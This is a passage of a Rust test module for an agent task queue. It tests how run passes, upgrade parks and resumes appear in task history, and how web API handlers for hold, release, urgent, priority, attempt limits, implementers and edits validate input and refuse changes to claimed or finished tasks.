15857    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15858        use crate::queue::PassCost;
15859        let run = flow_run(RunStatus::Implementing, |s| {
15860            s.passes = vec![
15861                recorded_pass(0, parked(upgrade_cause())),
15862                recorded_pass(1, None),
15863            ];
15864        });
15865        let mut task = flow_task(&[RUN_X, RUN_X]);
15866        task.attempts = 1;
15867        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15868        let h = task_history(&task, |_| Some(run.clone()));
15869        assert_eq!(h.len(), 2);
15870        assert_eq!(h[0].kind, "competition");
15871        assert_eq!(h[1].kind, "resume");
15872        assert_eq!(
15873            (h[0].exit, h[0].attempt),
15874            (RunExit::Parked, AttemptCost::Refunded)
15875        );
15876        assert!(
15877            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15878            "{}",
15879            h[0].outcome
15880        );
15881        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15882        assert!(
15883            h[0].outcome.contains("pass #2 resumed the same run"),
15884            "{}",
15885            h[0].outcome
15886        );
15887        assert!(
15888            h[0].outcome.contains("pass 1 of 2 over run"),
15889            "{}",
15890            h[0].outcome
15891        );
15892        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15893        assert_eq!(
15894            h[0].exit_label,
15895            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15896        );
15897        let f = task_flow(&task, &h, 2, None);
15898        // Two passes of one run, one of two attempts consumed.
15899        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15900        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15901        assert!(
15902            f.edges[1].label.contains("upgrade 0.121.0"),
15903            "{}",
15904            f.edges[1].label
15905        );
15906        assert!(
15907            f.edges[1].label.contains("resume the same run"),
15908            "{}",
15909            f.edges[1].label
15910        );
15911        assert_eq!(f.nodes[1].note, Some("parked"));
15912    }
15913
15914    #[test]
15915    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15916        let mut a = flow_run(RunStatus::Implementing, |s| {
15917            s.passes = vec![
15918                recorded_pass(0, parked(upgrade_cause())),
15919                recorded_pass(1, None),
15920            ];
15921        });
15922        let mut b = flow_run(RunStatus::Failed, |s| {
15923            s.passes = vec![recorded_pass(0, None)];
15924        });
15925        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15926        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15927        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15928        let mut task = flow_task(&[]);
15929        task.start("a".into());
15930        task.start("b".into());
15931        task.start("a".into());
15932        assert_eq!(task.runs, ["b", "a"]);
15933        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15934        let h = task_history(&task, |id| {
15935            Some(if id == "a" { a.clone() } else { b.clone() })
15936        });
15937        assert_eq!(
15938            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15939            ["a", "b", "a"]
15940        );
15941        assert_eq!(h[0].attempt, AttemptCost::Refunded);
15942        assert!(h[0].outcome.contains("upgrade"));
15943        assert_eq!(h[2].kind, "resume");
15944        assert!(h[2].pass.is_some());
15945        // The old repeated-id format must show the same recorded passes.
15946        task.runs = vec!["a".into(), "b".into(), "a".into()];
15947        let old = task_history(&task, |id| {
15948            Some(if id == "a" { a.clone() } else { b.clone() })
15949        });
15950        assert_eq!(
15951            old.iter()
15952                .map(|v| (&v.id, &v.kind, v.attempt))
15953                .collect::<Vec<_>>(),
15954            h.iter()
15955                .map(|v| (&v.id, &v.kind, v.attempt))
15956                .collect::<Vec<_>>()
15957        );
15958    }
15959
15960    #[test]
15961    fn an_upgrade_whose_target_was_not_known_says_so() {
15962        let run = flow_run(RunStatus::Implementing, |s| {
15963            s.passes = vec![
15964                recorded_pass(
15965                    0,
15966                    parked(crate::run::ParkCause::Upgrade {
15967                        from: "0.121.0".to_owned(),
15968                        to: None,
15969                    }),
15970                ),
15971                recorded_pass(1, None),
15972            ];
15973        });
15974        let task = flow_task(&[RUN_X, RUN_X]);
15975        let h = task_history(&task, |_| Some(run.clone()));
15976        assert!(
15977            h[0].outcome.contains("upgrade from 0.121.0"),
15978            "{}",
15979            h[0].outcome
15980        );
15981        // No settle record: the refund is not claimed.
15982        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15983    }
15984
15985    #[test]
15986    fn each_pass_keeps_its_own_cause_across_several_resumes() {
15987        use crate::queue::PassCost;
15988        use crate::run::ParkCause;
15989        let run = flow_run(RunStatus::Implementing, |s| {
15990            s.passes = vec![
15991                recorded_pass(0, parked(upgrade_cause())),
15992                recorded_pass(
15993                    1,
15994                    parked(ParkCause::Interrupt {
15995                        reason: "task a1b2 asked to run first".to_owned(),
15996                    }),
15997                ),
15998                recorded_pass(2, parked(ParkCause::Operator)),
15999                recorded_pass(3, None),
16000            ];
16001        });
16002        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16003        task.attempts = 1;
16004        task.passes = (0..3)
16005            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16006            .collect();
16007        let h = task_history(&task, |_| Some(run.clone()));
16008        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16009        assert!(
16010            h[1].outcome.contains("task a1b2 asked to run first"),
16011            "{}",
16012            h[1].outcome
16013        );
16014        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16015        assert!(
16016            h[2].outcome.contains("operator asked the loop to park"),
16017            "{}",
16018            h[2].outcome
16019        );
16020        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16021        let f = task_flow(&task, &h, 2, None);
16022        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16023    }
16024
16025    #[test]
16026    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16027        let run = flow_run(RunStatus::Implementing, |s| {
16028            s.passes = vec![
16029                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16030                recorded_pass(1, None),
16031            ];
16032        });
16033        let task = flow_task(&[RUN_X, RUN_X]);
16034        let h = task_history(&task, |_| Some(run.clone()));
16035        assert_eq!(h[0].exit, RunExit::Interrupted);
16036        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16037        assert!(
16038            h[0].outcome.contains("without recording why"),
16039            "{}",
16040            h[0].outcome
16041        );
16042        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16043        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16044    }
16045
16046    #[test]
16047    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16048        use crate::queue::PassCost;
16049        // Three entries, but the run only began keeping passes at the last
16050        // two: the first is legacy and must not be given a cause.
16051        let run = flow_run(RunStatus::Implementing, |s| {
16052            s.passes = vec![
16053                recorded_pass(0, parked(upgrade_cause())),
16054                recorded_pass(1, None),
16055            ];
16056        });
16057        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16058        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16059        let h = task_history(&task, |_| Some(run.clone()));
16060        assert!(h[0].pass.is_none());
16061        assert_eq!(h[0].exit, RunExit::Interrupted);
16062        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16063        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16064        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16065        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16066        // A run with no passes at all is entirely unknown.
16067        let legacy = flow_run(RunStatus::Implementing, |_| {});
16068        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16069        assert!(h.iter().all(|v| v.pass.is_none()));
16070        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16071    }
16072
16073    #[test]
16074    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16075        use crate::queue::PassCost;
16076        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16077        // task. The two entries are passes 0 and 2.
16078        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16079        web.task_entry = false;
16080        let run = flow_run(RunStatus::Implementing, |s| {
16081            s.passes = vec![
16082                recorded_pass(0, parked(upgrade_cause())),
16083                web.clone(),
16084                recorded_pass(2, None),
16085            ];
16086        });
16087        let mut task = flow_task(&[RUN_X, RUN_X]);
16088        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16089        let h = task_history(&task, |_| Some(run.clone()));
16090        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16091        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16092
16093        // Legacy first entry, then a web resume that parked for an upgrade,
16094        // then the daemon's pass: the legacy entry must stay unknown.
16095        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16096        web0.task_entry = false;
16097        let run = flow_run(RunStatus::Implementing, |s| {
16098            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16099        });
16100        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16101        assert!(h[0].pass.is_none());
16102        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16103        assert!(h[1].pass.is_some());
16104    }
16105
16106    #[tokio::test]
16107    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16108        let dir = tempfile::tempdir().unwrap();
16109        let queue = Queue::at(dir.path().join("queue"));
16110        let ui = Arc::new(Ui::new(
16111            queue.clone(),
16112            Questions::at(dir.path().join("questions")),
16113            Talks::at(dir.path().join("talks")),
16114            dir.path().join("runs"),
16115            dir.path().to_path_buf(),
16116            dir.path().to_path_buf(),
16117        ));
16118        let mut t = Task::new(
16119            "recover".into(),
16120            "Inspect".into(),
16121            PathBuf::from("."),
16122            Source::Human,
16123        );
16124        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16125        t.start("run-A".into());
16126        t.release_operator("choice", Some("resume-question"));
16127        t.resume_override = Some(crate::queue::OperatorResume {
16128            question_id: "resume-question".into(),
16129            at: jiff::Timestamp::now(),
16130            conductor_rehold: None,
16131            forced: true,
16132            pinned_run: Some("run-A".into()),
16133        });
16134        t.hold_machine(Some("inspection pending".into()));
16135        t.edit("recover".into(), "Reuse approved PR head".into())
16136            .unwrap();
16137        queue.put(&mut t).unwrap();
16138        let mut cli = t.clone();
16139        cli.release_operator("cli", None);
16140        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16141        let reloaded = queue.get(&t.id).unwrap();
16142        assert_eq!(reply.task.status, TaskStatus::Queued);
16143        assert!(reloaded.resume_override.is_none());
16144        assert_eq!(reloaded.answers, t.answers);
16145        let mut web = reloaded.resumption.unwrap();
16146        let cli = cli.resumption.unwrap();
16147        assert_eq!(web.source, "web");
16148        web.source = cli.source.clone();
16149        web.at = cli.at;
16150        assert_eq!(web, cli);
16151    }
16152
16153    #[tokio::test]
16154    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16155        let f = Fixture::start().await;
16156        let queue = f.queue();
16157        let mut task = Task::new(
16158            "spent".to_owned(),
16159            "Try again".to_owned(),
16160            PathBuf::from("/repo/magi"),
16161            Source::Human,
16162        );
16163        task.start("20260902-140502-bbbb".to_owned());
16164        task.fail("agent gave up", 9);
16165        queue.put(&mut task).expect("file the task");
16166
16167        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16168        assert_eq!(held.status, 200);
16169        assert_eq!(held.json()["status_str"], "held");
16170
16171        let released = f
16172            .post(&format!("/api/queue/{}/release", task.id), None)
16173            .await;
16174        assert_eq!(released.status, 200);
16175        assert_eq!(released.json()["status_str"], "queued");
16176        assert_eq!(released.json()["resumption"]["source"], "web");
16177        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16178        let mut cli = task.clone();
16179        cli.release_operator("cli", None);
16180        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16181        let cli = cli.resumption.unwrap();
16182        assert_eq!(web.instruction, cli.instruction);
16183        assert_eq!(web.answers_through, cli.answers_through);
16184        assert_eq!(web.runs_through, cli.runs_through);
16185        assert_eq!(web.cleared_reason, cli.cleared_reason);
16186        assert_eq!(
16187            released.json()["attempts"],
16188            0,
16189            "release is a real second chance, not an instant re-hold"
16190        );
16191        assert_eq!(
16192            queue.get(&task.id).expect("reload").status,
16193            TaskStatus::Queued,
16194            "the change is on disk, not only in the reply"
16195        );
16196        assert!(
16197            !f.home
16198                .path()
16199                .join("queue")
16200                .join(format!("{}.lock", task.id))
16201                .exists(),
16202            "the claim the mutation took is released again"
16203        );
16204    }
16205
16206    #[tokio::test]
16207    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16208        let f = Fixture::start().await;
16209        let queue = f.queue();
16210        let mut task = Task::new(
16211            "busy".to_owned(),
16212            "Running right now".to_owned(),
16213            PathBuf::from("/repo/magi"),
16214            Source::Human,
16215        );
16216        queue.put(&mut task).expect("file the task");
16217        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16218
16219        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16220
16221        assert_eq!(res.status, 409);
16222        assert_eq!(
16223            queue.get(&task.id).expect("reload").status,
16224            TaskStatus::Queued,
16225            "the refused hold changed nothing"
16226        );
16227    }
16228
16229    #[tokio::test]
16230    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16231        let f = Fixture::start().await;
16232        let queue = f.queue();
16233        let mut task = Task::new(
16234            "waiting on the migration".to_owned(),
16235            "Do the thing".to_owned(),
16236            PathBuf::from("/repo/magi"),
16237            Source::Human,
16238        );
16239        queue.put(&mut task).expect("file the task");
16240
16241        let held = f
16242            .post(
16243                &format!("/api/queue/{}/hold", task.id),
16244                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16245            )
16246            .await;
16247        assert_eq!(held.status, 200, "{}", held.body);
16248        assert_eq!(held.json()["status_str"], "held");
16249        assert_eq!(
16250            held.json()["hold_reason"],
16251            "waiting for 20260101-000000-aaaa to land"
16252        );
16253
16254        let listed = f.get("/api/queue").await.json();
16255        assert_eq!(
16256            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16257            "the card reads the reason off the same list route"
16258        );
16259
16260        // A hold with no body at all must keep working - most holds have no
16261        // reason to give.
16262        let mut plain = Task::new(
16263            "no reason given".to_owned(),
16264            "Do another thing".to_owned(),
16265            PathBuf::from("/repo/magi"),
16266            Source::Human,
16267        );
16268        queue.put(&mut plain).expect("file the task");
16269        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16270        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16271        assert!(held_plain.json()["hold_reason"].is_null());
16272
16273        let released = f
16274            .post(&format!("/api/queue/{}/release", task.id), None)
16275            .await;
16276        assert_eq!(released.status, 200);
16277        assert!(
16278            released.json()["hold_reason"].is_null(),
16279            "a release must clear the reason so the next hold does not inherit it"
16280        );
16281    }
16282
16283    #[test]
16284    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16285        for urgent in [true, false] {
16286            let body: UrgentBody =
16287                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16288            assert_eq!(body.urgent, urgent);
16289        }
16290        for input in [
16291            r#"{}"#,
16292            r#"{"urgent":null}"#,
16293            r#"{"urgent":"true"}"#,
16294            r#"{"urgent":1}"#,
16295            r#"{"urgent":true,"extra":false}"#,
16296        ] {
16297            assert!(
16298                serde_json::from_str::<UrgentBody>(input).is_err(),
16299                "{input}"
16300            );
16301        }
16302    }
16303
16304    #[tokio::test]
16305    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16306        let home = TempDir::new().unwrap();
16307        let q = Queue::at(home.path().join("queue"));
16308        let ui = Arc::new(Ui::new(
16309            q.clone(),
16310            Questions::at(home.path().join("questions")),
16311            Talks::at(home.path().join("talks")),
16312            home.path().join("runs"),
16313            home.path().into(),
16314            home.path().into(),
16315        ));
16316        let mut task = Task::new(
16317            "urgent handler".into(),
16318            "keep".into(),
16319            home.path().into(),
16320            Source::Human,
16321        );
16322        for status in [TaskStatus::Queued, TaskStatus::Held] {
16323            task.status = status;
16324            q.put(&mut task).unwrap();
16325            for urgent in [true, true, false, false] {
16326                let saved = queue_urgent(
16327                    State(Arc::clone(&ui)),
16328                    Path(task.short().into()),
16329                    Ok(Json(UrgentBody { urgent })),
16330                )
16331                .await
16332                .unwrap();
16333                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16334                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16335            }
16336        }
16337        task.status = TaskStatus::Queued;
16338        q.put(&mut task).unwrap();
16339        let claim = q.claim(&task.id).unwrap();
16340        let error = queue_urgent(
16341            State(Arc::clone(&ui)),
16342            Path(task.id.clone()),
16343            Ok(Json(UrgentBody { urgent: true })),
16344        )
16345        .await
16346        .unwrap_err();
16347        assert_eq!(error.status, StatusCode::CONFLICT);
16348        assert!(error.message.contains("released"));
16349        drop(claim);
16350        for status in [
16351            TaskStatus::Running,
16352            TaskStatus::Done,
16353            TaskStatus::Failed,
16354            TaskStatus::Blocked,
16355            TaskStatus::Parked,
16356        ] {
16357            task.status = status;
16358            q.put(&mut task).unwrap();
16359            let error = queue_urgent(
16360                State(Arc::clone(&ui)),
16361                Path(task.id.clone()),
16362                Ok(Json(UrgentBody { urgent: false })),
16363            )
16364            .await
16365            .unwrap_err();
16366            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16367            assert!(error.message.contains(status.as_str()));
16368        }
16369    }
16370
16371    #[tokio::test]
16372    async fn urgent_api_updates_preserves_and_validates_tasks() {
16373        let f = Fixture::start().await;
16374        let q = f.queue();
16375        let mut t = Task::new(
16376            "urgent API".into(),
16377            "unchanged".into(),
16378            PathBuf::from("/repo/magi"),
16379            Source::Human,
16380        );
16381        t.attempts = 2;
16382        t.priority = 9;
16383        t.interrupt = true;
16384        t.hold_reason = Some("waiting for approval".into());
16385        for status in [TaskStatus::Queued, TaskStatus::Held] {
16386            t.status = status;
16387            q.put(&mut t).unwrap();
16388            for urgent in [true, true, false, false] {
16389                let response = f
16390                    .post(
16391                        &format!("/api/queue/{}/urgent", t.short()),
16392                        Some(&format!("{{\"urgent\":{urgent}}}")),
16393                    )
16394                    .await;
16395                assert_eq!(response.status, 200, "{}", response.body);
16396                assert_eq!(response.json()["urgent"], urgent);
16397                let saved = q.get(&t.id).unwrap();
16398                let mut before = serde_json::to_value(&t).unwrap();
16399                let mut after = serde_json::to_value(saved).unwrap();
16400                before["urgent"] = urgent.into();
16401                before.as_object_mut().unwrap().remove("updated_at");
16402                after.as_object_mut().unwrap().remove("updated_at");
16403                assert_eq!(after, before);
16404            }
16405        }
16406        let route = format!("/api/queue/{}/urgent", t.id);
16407        for body in [
16408            r#"{}"#,
16409            r#"{"urgent":null}"#,
16410            r#"{"urgent":"true"}"#,
16411            r#"{"urgent":1}"#,
16412            r#"{"urgent":true,"extra":false}"#,
16413            "{",
16414        ] {
16415            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16416        }
16417        t.status = TaskStatus::Queued;
16418        q.put(&mut t).unwrap();
16419        let claim = q.claim(&t.id).unwrap();
16420        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16421        assert_eq!(response.status, 409, "{}", response.body);
16422        assert!(!q.get(&t.id).unwrap().urgent);
16423        drop(claim);
16424        for status in [
16425            TaskStatus::Running,
16426            TaskStatus::Done,
16427            TaskStatus::Failed,
16428            TaskStatus::Blocked,
16429            TaskStatus::Parked,
16430        ] {
16431            t.status = status;
16432            q.put(&mut t).unwrap();
16433            for urgent in [true, false] {
16434                let response = f
16435                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16436                    .await;
16437                assert_eq!(response.status, 400, "{}", response.body);
16438                assert!(response.body.contains(status.as_str()));
16439                assert!(response.body.contains("queued or held"));
16440                assert!(!q.get(&t.id).unwrap().urgent);
16441            }
16442        }
16443        assert_eq!(
16444            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16445                .await
16446                .status,
16447            404
16448        );
16449    }
16450
16451    #[tokio::test]
16452    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16453        let f = Fixture::start().await;
16454        let queue = f.queue();
16455        let mut older = Task::new(
16456            "filed first".to_owned(),
16457            "x".to_owned(),
16458            PathBuf::from("/repo/magi"),
16459            Source::Human,
16460        );
16461        older.id = "20260101-000001-aaaa".to_owned();
16462        let mut newer = Task::new(
16463            "filed second".to_owned(),
16464            "x".to_owned(),
16465            PathBuf::from("/repo/magi"),
16466            Source::Human,
16467        );
16468        newer.id = "20260101-000002-bbbb".to_owned();
16469        queue.put(&mut older).expect("file older");
16470        queue.put(&mut newer).expect("file newer");
16471
16472        // Equal priority: the newer task leads, the same order the old
16473        // newest-first `list()` already gave every equal-priority queue.
16474        let before = f.get("/api/queue").await.json();
16475        assert_eq!(before[0]["id"], newer.id);
16476        assert_eq!(before[1]["id"], older.id);
16477
16478        // Raising the *older* task is the meaningful case: it can only lead
16479        // now because its priority says so, not because it happens to be
16480        // newest.
16481        let raised = f
16482            .post(
16483                &format!("/api/queue/{}/priority", older.id),
16484                Some(r#"{"priority":10}"#),
16485            )
16486            .await;
16487        assert_eq!(raised.status, 200, "{}", raised.body);
16488        assert_eq!(raised.json()["priority"], 10);
16489
16490        let after = f.get("/api/queue").await.json();
16491        let names: Vec<&str> = after
16492            .as_array()
16493            .unwrap()
16494            .iter()
16495            .map(|t| t["id"].as_str().unwrap())
16496            .collect();
16497        // Highest priority first, which is the order next_runnable and
16498        // `magi task list` both use - GET /api/queue must agree with it
16499        // immediately, not just once the loop claims the task.
16500        assert_eq!(names[0], older.id, "the raised task now sorts first");
16501    }
16502
16503    #[tokio::test]
16504    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16505        let dir = TempDir::new().unwrap();
16506        let q = Queue::at(dir.path().join("queue"));
16507        let ui = Arc::new(Ui::new(
16508            q.clone(),
16509            Questions::at(dir.path().join("questions")),
16510            Talks::at(dir.path().join("talks")),
16511            dir.path().join("runs"),
16512            dir.path().to_path_buf(),
16513            dir.path().to_path_buf(),
16514        ));
16515        let mut t = Task::new(
16516            "budget".into(),
16517            "keep".into(),
16518            dir.path().into(),
16519            Source::Human,
16520        );
16521        t.attempts = 2;
16522        t.runs.push("prior-run".into());
16523        t.hold_manual(Some("waiting".into()));
16524        q.put(&mut t).unwrap();
16525        let change = |value| {
16526            queue_attempt_limit(
16527                State(ui.clone()),
16528                Path(t.id.clone()),
16529                Ok(Json(AttemptLimitBody {
16530                    attempt_limit: value,
16531                })),
16532            )
16533        };
16534        for value in [
16535            serde_json::json!(3),
16536            serde_json::Value::Null,
16537            serde_json::json!(1),
16538        ] {
16539            let response = change(value.clone()).await.unwrap();
16540            assert_eq!(
16541                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16542                value
16543            );
16544            let saved = q.get(&t.id).unwrap();
16545            assert_eq!(
16546                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16547                value
16548            );
16549            assert_eq!(saved.status, TaskStatus::Held);
16550            assert_eq!(saved.attempts, t.attempts);
16551            assert_eq!(saved.runs, t.runs);
16552            assert_eq!(saved.hold_reason, t.hold_reason);
16553            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16554                .await
16555                .unwrap()
16556                .0;
16557            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16558            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16559            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16560            assert_eq!(outcome.max_attempts, detail.max_attempts);
16561        }
16562        for value in [
16563            serde_json::json!(0),
16564            serde_json::json!(-1),
16565            serde_json::json!(1.5),
16566            serde_json::json!("3"),
16567            serde_json::json!(true),
16568        ] {
16569            assert_eq!(
16570                change(value).await.err().unwrap().status,
16571                StatusCode::BAD_REQUEST
16572            );
16573        }
16574        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16575        let claim = q.claim(&t.id).unwrap();
16576        assert_eq!(
16577            change(serde_json::json!(4)).await.err().unwrap().status,
16578            StatusCode::CONFLICT
16579        );
16580        drop(claim);
16581        for status in [
16582            TaskStatus::Running,
16583            TaskStatus::Done,
16584            TaskStatus::Failed,
16585            TaskStatus::Blocked,
16586            TaskStatus::Parked,
16587        ] {
16588            let mut stored = q.get(&t.id).unwrap();
16589            stored.status = status;
16590            q.put(&mut stored).unwrap();
16591            assert_eq!(
16592                change(serde_json::json!(4)).await.err().unwrap().status,
16593                StatusCode::BAD_REQUEST
16594            );
16595            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16596        }
16597        let mut stored = q.get(&t.id).unwrap();
16598        stored.status = TaskStatus::Queued;
16599        q.put(&mut stored).unwrap();
16600        let _ = change(serde_json::Value::Null).await.unwrap();
16601        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16602    }
16603
16604    #[tokio::test]
16605    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16606        let dir = TempDir::new().unwrap();
16607        let repo = dir.path().join("repo");
16608        std::fs::create_dir(&repo).unwrap();
16609        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16610        let q = Queue::at(dir.path().join("queue"));
16611        let ui = Arc::new(Ui::new(
16612            q.clone(),
16613            Questions::at(dir.path().join("questions")),
16614            Talks::at(dir.path().join("talks")),
16615            dir.path().join("runs"),
16616            dir.path().to_path_buf(),
16617            repo.clone(),
16618        ));
16619        let mut t = Task::new(
16620            "seats".into(),
16621            "keep instruction".into(),
16622            repo,
16623            Source::Human,
16624        );
16625        t.runs.push("prior-run".into());
16626        t.hold_manual(Some("waiting".into()));
16627        q.put(&mut t).unwrap();
16628        let change = |count| {
16629            queue_implementers(
16630                State(ui.clone()),
16631                Path(t.id.clone()),
16632                Ok(Json(ImplementersBody {
16633                    implementers: count,
16634                })),
16635            )
16636        };
16637        for count in [2, 1, 2] {
16638            let response = change(count).await.unwrap();
16639            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16640            let saved = q.get(&t.id).unwrap();
16641            assert_eq!(saved.implementers(), Some(usize::from(count)));
16642            assert_eq!(saved.runs, t.runs);
16643            assert_eq!(saved.instruction, t.instruction);
16644        }
16645        for count in [0, 4] {
16646            assert_eq!(
16647                change(count).await.err().unwrap().status,
16648                StatusCode::BAD_REQUEST
16649            );
16650        }
16651        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16652        let claim = q.claim(&t.id).unwrap();
16653        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16654        drop(claim);
16655        for status in [
16656            TaskStatus::Running,
16657            TaskStatus::Done,
16658            TaskStatus::Failed,
16659            TaskStatus::Blocked,
16660            TaskStatus::Parked,
16661        ] {
16662            let mut stored = q.get(&t.id).unwrap();
16663            stored.status = status;
16664            q.put(&mut stored).unwrap();
16665            assert_eq!(
16666                change(1).await.err().unwrap().status,
16667                StatusCode::BAD_REQUEST
16668            );
16669            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16670        }
16671    }
16672
16673    #[tokio::test]
16674    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16675        let f = Fixture::start().await;
16676        let queue = f.queue();
16677        let mut task = Task::new(
16678            "in flight".to_owned(),
16679            "x".to_owned(),
16680            PathBuf::from("/repo/magi"),
16681            Source::Human,
16682        );
16683        task.start("20260902-140502-bbbb".to_owned());
16684        queue.put(&mut task).expect("file the task");
16685
16686        let res = f
16687            .post(
16688                &format!("/api/queue/{}/priority", task.id),
16689                Some(r#"{"priority":9}"#),
16690            )
16691            .await;
16692        assert_eq!(res.status, 400, "{}", res.body);
16693        assert!(
16694            res.json()["error"]
16695                .as_str()
16696                .is_some_and(|e| e.contains("running")),
16697            "{}",
16698            res.body
16699        );
16700        assert_eq!(
16701            queue.get(&task.id).expect("reload").priority,
16702            0,
16703            "the refused write must not partially apply"
16704        );
16705    }
16706
16707    #[tokio::test]
16708    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16709        let f = Fixture::start().await;
16710        let queue = f.queue();
16711        let mut task = Task::new(
16712            "old title".to_owned(),
16713            "old instruction".to_owned(),
16714            PathBuf::from("/repo/magi"),
16715            Source::Agent {
16716                run: "20260101-000000-beef".to_owned(),
16717                node: "implement".to_owned(),
16718            },
16719        );
16720        task.runs.push("20260101-000000-beef".to_owned());
16721        queue.put(&mut task).expect("file the task");
16722        let created_at = task.created_at;
16723
16724        let edited = f
16725            .post(
16726                &format!("/api/queue/{}/edit", task.id),
16727                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16728            )
16729            .await;
16730        assert_eq!(edited.status, 200, "{}", edited.body);
16731        let body = edited.json();
16732        assert_eq!(body["title"], "new title");
16733        assert_eq!(body["instruction"], "new instruction");
16734        assert_eq!(body["id"], task.id, "editing must not mint a new id");
16735        assert_eq!(body["created_at"], created_at.to_string());
16736        assert_eq!(
16737            body["source"]["kind"], "agent",
16738            "editing a task an agent filed must not turn it human: {body}"
16739        );
16740        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16741
16742        let reloaded = queue.get(&task.id).expect("reload");
16743        assert_eq!(reloaded.title, "new title");
16744        assert_eq!(reloaded.instruction, "new instruction");
16745    }
16746
16747    #[tokio::test]
16748    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
